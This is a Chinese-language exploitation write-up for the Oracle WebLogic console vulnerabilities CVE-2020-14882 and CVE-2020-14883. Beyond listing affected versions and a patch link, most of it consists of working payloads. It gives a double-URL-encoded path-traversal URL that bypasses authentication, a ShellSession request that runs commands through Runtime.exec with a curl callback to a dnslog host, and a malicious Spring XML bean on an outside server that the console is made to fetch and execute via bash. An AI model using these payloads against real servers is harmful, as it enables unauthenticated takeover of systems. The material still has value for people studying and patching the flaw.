Weblogic(CVE-2020-14882,CVE-2020-14883) 管理控制台未授权远程命令执行漏洞

Weblogic(CVE-2020-14882,CVE-2020-14883) 管理控制台未授权远程命令执行漏洞

0x01 漏洞简述

2020年10月29日,360CERT监测发现 Weblogic ConSole HTTP 协议代码执行漏洞,该漏洞编号为 CVE-2020-14882,CVE-2020-14883 ,漏洞等级:严重,漏洞评分:9.8

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console,并在 WebLogic Server Console 执行任意代码。

0x02 影响版本

Oracle:Weblogic:

  • 10.3.6.0.0
  • 12.1.3.0.0
  • 12.2.1.3.0
  • 12.2.1.4.0
  • 14.1.1.0.0

0x03 漏洞详情

CVE-2020-14883: 权限绕过漏洞

远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console

权限绕过漏洞(CVE-2020-14882),访问以下URL,未授权访问到管理后台页面(低权限的用户):

1
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal

image-20201102104413803

发现我们现在是低权限的用户,无法安装应用,所以组合下面的CVE-2020-14882 可以继续利用

CVE-2020-14882: 代码执行漏洞

结合 CVE-2020-14883 漏洞,远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。

远程命令执行方法一

利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:(利用DNSLOG)

1
http://127.0.0.1:7001//console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20xzi7ua.dnslog.cn');")

成功执行:

image-20201102105333842

image-20201102113350559

远程命令执行方法二(通用性高)

一种更为通杀的方法,对于所有Weblogic版本均有效。

但是必须可以出网,要可以访问到恶意的xml

首先需要构造一个XML文件,并将其保存外网(漏洞机或者可访问的一台机子上)上,如http://zeo.com/zeo.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[curl fypg4w.dnslog.cn]]></value>
</list>
</constructor-arg>
</bean>
</beans>

image-20201102112847540

然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:

1
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://example.com/rce.xml")

成功执行:

image-20201102113029906

收到相应包

image-20201102113010871

0x05 修复建议

及时更新补丁

参考oracle官网发布的补丁:

https://www.oracle.com/security-alerts/cpuoct2020traditional.html